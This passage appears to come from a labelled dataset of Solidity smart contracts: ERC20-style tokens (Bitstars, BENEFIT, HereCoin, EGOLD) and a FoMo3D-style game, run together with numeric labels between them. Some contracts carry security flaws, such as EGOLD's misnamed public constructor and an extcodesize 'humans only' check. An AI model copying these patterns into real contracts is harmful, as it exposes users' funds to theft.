balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 8; uint8 public constant TOKEN_DECIMALS_UINT8 = 8; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Bitstars"; string public constant TOKEN_SYMBOL = "BST"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x1975aaE47Ca96Dd25c920814392EF78c3aE3e8d8; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x1975aae47ca96dd25c920814392ef78c3ae3e8d8)]; uint[1] memory amounts = [uint(50000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
5,473
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Lockable is Ownable { event Lock(); event Unlock(); bool public locked = false; modifier whenNotLocked() { require(!locked); _; } modifier whenLocked() { require(locked); _; } function lock() public onlyOwner whenNotLocked { locked = true; Lock(); } function unlock() public onlyOwner whenLocked { locked = false; Unlock(); } } contract BaseFixedERC20Token is Lockable { using SafeMath for uint; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) private allowed; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); function balanceOf(address owner_) public view returns (uint balance) { return balances[owner_]; } function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(value_); balances[to_] = balances[to_].add(value_); Transfer(msg.sender, to_, value_); return true; } function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) { require(to_ != address(0) && value_ <= balances[from_] && value_ <= allowed[from_][msg.sender]); balances[from_] = balances[from_].sub(value_); balances[to_] = balances[to_].add(value_); allowed[from_][msg.sender] = allowed[from_][msg.sender].sub(value_); Transfer(from_, to_, value_); return true; } function approve(address spender_, uint value_) public whenNotLocked returns (bool) { if (value_ != 0 && allowed[msg.sender][spender_] != 0) { revert(); } allowed[msg.sender][spender_] = value_; Approval(msg.sender, spender_, value_); return true; } function allowance(address owner_, address spender_) public view returns (uint) { return allowed[owner_][spender_]; } } contract BaseICOTokenWithBonus is BaseFixedERC20Token { uint public availableSupply; address public ico; uint public bonusUnlockAt; mapping(address => uint) public bonusBalances; event ICOTokensInvested(address indexed to, uint amount); event ICOChanged(address indexed icoContract); modifier onlyICO() { require(msg.sender == ico); _; } function BaseICOTokenWithBonus(uint totalSupply_) public { locked = true; totalSupply = totalSupply_; availableSupply = totalSupply_; } function changeICO(address ico_) public onlyOwner { ico = ico_; ICOChanged(ico); } function setBonusUnlockAt(uint bonusUnlockAt_) public onlyOwner { require(bonusUnlockAt_ > block.timestamp); bonusUnlockAt = bonusUnlockAt_; } function getBonusUnlockAt() public view returns (uint) { return bonusUnlockAt; } function bonusBalanceOf(address owner_) public view returns (uint) { return bonusBalances[owner_]; } function icoInvestment(address to_, uint amount_, uint bonusAmount_) public onlyICO returns (uint) { require(isValidICOInvestment(to_, amount_)); availableSupply = availableSupply.sub(amount_); balances[to_] = balances[to_].add(amount_); bonusBalances[to_] = bonusBalances[to_].add(bonusAmount_); ICOTokensInvested(to_, amount_); return amount_; } function isValidICOInvestment(address to_, uint amount_) internal view returns (bool) { return to_ != address(0) && amount_ <= availableSupply; } function getAllowedForTransferTokens(address from_) public view returns (uint) { return (bonusUnlockAt >= block.timestamp) ? balances[from_].sub(bonusBalances[from_]) : balances[from_]; } function transfer(address to_, uint value_) public whenNotLocked returns (bool) { require(value_ <= getAllowedForTransferTokens(msg.sender)); return super.transfer(to_, value_); } function transferFrom(address from_, address to_, uint value_) public whenNotLocked returns (bool) { require(value_ <= getAllowedForTransferTokens(from_)); return super.transferFrom(from_, to_, value_); } } contract BENEFITToken is BaseICOTokenWithBonus { using SafeMath for uint; string public constant name = "Dating with Benefits"; string public constant symbol = "BENEFIT"; uint8 public constant decimals = 18; uint internal constant ONE_TOKEN = 1e18; uint public constant RESERVED_RESERVE_UNLOCK_AT = 1546300800; uint public constant RESERVED_COMPANY_UNLOCK_AT = 1561939200; event ReservedTokensDistributed(address indexed to, uint8 group, uint amount); event TokensBurned(uint amount); function BENEFITToken(uint totalSupplyTokens_, uint companyTokens_, uint bountyTokens_, uint reserveTokens_, uint marketingTokens_) public BaseICOTokenWithBonus(totalSupplyTokens_ * ONE_TOKEN) { require(availableSupply == totalSupply); availableSupply = availableSupply .sub(companyTokens_ * ONE_TOKEN) .sub(bountyTokens_ * ONE_TOKEN) .sub(reserveTokens_ * ONE_TOKEN) .sub(marketingTokens_ * ONE_TOKEN); reserved[RESERVED_COMPANY_GROUP] = companyTokens_ * ONE_TOKEN; reserved[RESERVED_BOUNTY_GROUP] = bountyTokens_ * ONE_TOKEN; reserved[RESERVED_RESERVE_GROUP] = reserveTokens_ * ONE_TOKEN; reserved[RESERVED_MARKETING_GROUP] = marketingTokens_ * ONE_TOKEN; } function() external payable { revert(); } function burnRemain() public onlyOwner { require(availableSupply > 0); uint burned = availableSupply; totalSupply = totalSupply.sub(burned); availableSupply = 0; TokensBurned(burned); } uint8 public constant RESERVED_COMPANY_GROUP = 0x1; uint8 public constant RESERVED_BOUNTY_GROUP = 0x2; uint8 public constant RESERVED_RESERVE_GROUP = 0x4; uint8 public constant RESERVED_MARKETING_GROUP = 0x8; mapping(uint8 => uint) public reserved; function getReservedTokens(uint8 group_) public view returns (uint) { return reserved[group_]; } function assignReserved(address to_, uint8 group_, uint amount_) public onlyOwner { require(to_ != address(0) && (group_ & 0xF) != 0); require(group_ != RESERVED_RESERVE_GROUP || (group_ == RESERVED_RESERVE_GROUP && block.timestamp >= RESERVED_RESERVE_UNLOCK_AT)); require(group_ != RESERVED_COMPANY_GROUP || (group_ == RESERVED_COMPANY_GROUP && block.timestamp >= RESERVED_COMPANY_UNLOCK_AT)); reserved[group_] = reserved[group_].sub(amount_); balances[to_] = balances[to_].add(amount_); ReservedTokensDistributed(to_, group_, amount_); } }
1
3,600
pragma solidity ^0.4.20; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract ERC20Token { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) private allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function ERC20Token(uint256 initialSupply, string tokenName, string tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } } contract HereCoin is ERC20Token, owned { uint256 private buyPrice; uint256 private sellPrice; mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function HereCoin() ERC20Token(100000000, "HereCo.in", "HERE") public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newBuyPrice, uint256 newSellPrice) onlyOwner public { buyPrice = newBuyPrice; sellPrice = newSellPrice; } function buy() payable public { uint amount = msg.value / buyPrice; _transfer(this, msg.sender, amount); } function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); _transfer(msg.sender, this, amount); msg.sender.transfer(amount * sellPrice); } }
1
5,080
pragma solidity ^0.4.20; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count ++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i ++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract ERC223Receiver { function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Basic is ERC20Basic { function transfer(address to, uint value, bytes data) public returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract SuccessfulERC223Receiver is ERC223Receiver { event Invoked(address from, uint value, bytes data); function tokenFallback(address _from, uint _value, bytes _data) public { Invoked(_from, _value, _data); } } contract FailingERC223Receiver is ERC223Receiver { function tokenFallback(address, uint, bytes) public { revert(); } } contract ERC223ReceiverWithoutTokenFallback { } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { totalSupply = totalSupply.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); Mint(_to, _amount); Freezed(_to, _until, _amount); return true; } } contract Consts { uint constant TOKEN_DECIMALS = 18; uint8 constant TOKEN_DECIMALS_UINT8 = 18; uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string constant TOKEN_NAME = "EGOLD"; string constant TOKEN_SYMBOL = "EGD"; bool constant PAUSED = false; address constant TARGET_USER = 0x8f71659fb57E6C6Be3Ab563D0dD45101235ae762; bool constant CONTINUE_MINTING = false; } contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { using SafeMath for uint; function transfer(address _to, uint _value, bytes _data) public returns (bool) { uint codeLength; assembly { codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength > 0) { ERC223Receiver receiver = ERC223Receiver(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); return true; } function transfer(address _to, uint256 _value) public returns (bool) { bytes memory empty; return transfer(_to, _value, empty); } } contract EGOLD is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; function MainToken() public { init(); transferOwnership(TARGET_USER); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0x8f71659fb57E6C6Be3Ab563D0dD45101235ae762)]; uint[1] memory amounts = [uint(100000000000000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } Initialized(); } function name() pure public returns (string _name) { return TOKEN_NAME; } function symbol() pure public returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() pure public returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
1
5,538
pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularLong is F3Devents {} contract H3FoMo3Dlong is modularLong { using SafeMath for *; using NameFilter for string; using F3DKeysCalcLong for uint256; otherFoMo3D private otherF3D_; DiviesInterface constant private Divies = DiviesInterface(0x88ac6e1f2ffc98fda7ca2a4236178b8be66b79f4); JIincForwarderInterface constant private Jekyll_Island_Inc = JIincForwarderInterface(0x6f6a4c6bc3b646be9c33566fe40cdc20c34ee104); PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xa988d0b985188818906d206ba0cf98ca0a7433bb); string constant public name = "FoMo3D Long Official"; string constant public symbol = "F3D"; uint256 private rndExtra_ = 15 minutes; uint256 private rndGap_ = 15 minutes; uint256 constant private rndInit_ = 1 hours; uint256 constant private rndInc_ = 30 seconds; uint256 constant private rndMax_ = 24 hours; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping(address => uint256) public pIDxAddr_; mapping(bytes32 => uint256) public pIDxName_; mapping(uint256 => F3Ddatasets.Player) public plyr_; mapping(uint256 => mapping(uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping(uint256 => mapping(bytes32 => bool)) public plyrNames_; mapping(uint256 => F3Ddatasets.Round) public round_; mapping(uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping(uint256 => F3Ddatasets.TeamFee) public fees_; mapping(uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(30, 6); fees_[1] = F3Ddatasets.TeamFee(43, 0); fees_[2] = F3Ddatasets.TeamFee(56, 10); fees_[3] = F3Ddatasets.TeamFee(43, 8); potSplit_[0] = F3Ddatasets.PotSplit(15, 10); potSplit_[1] = F3Ddatasets.PotSplit(25, 0); potSplit_[2] = F3Ddatasets.PotSplit(20, 20); potSplit_[3] = F3Ddatasets.PotSplit(30, 10); } modifier isActivated() { require(activated_ == true, "its not ready yet. check ?eta in discord"); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, "sorry humans only"); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, "pocket lint: not a valid currency"); require(_eth <= 100000000000000000000000, "no vitalik, no"); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { 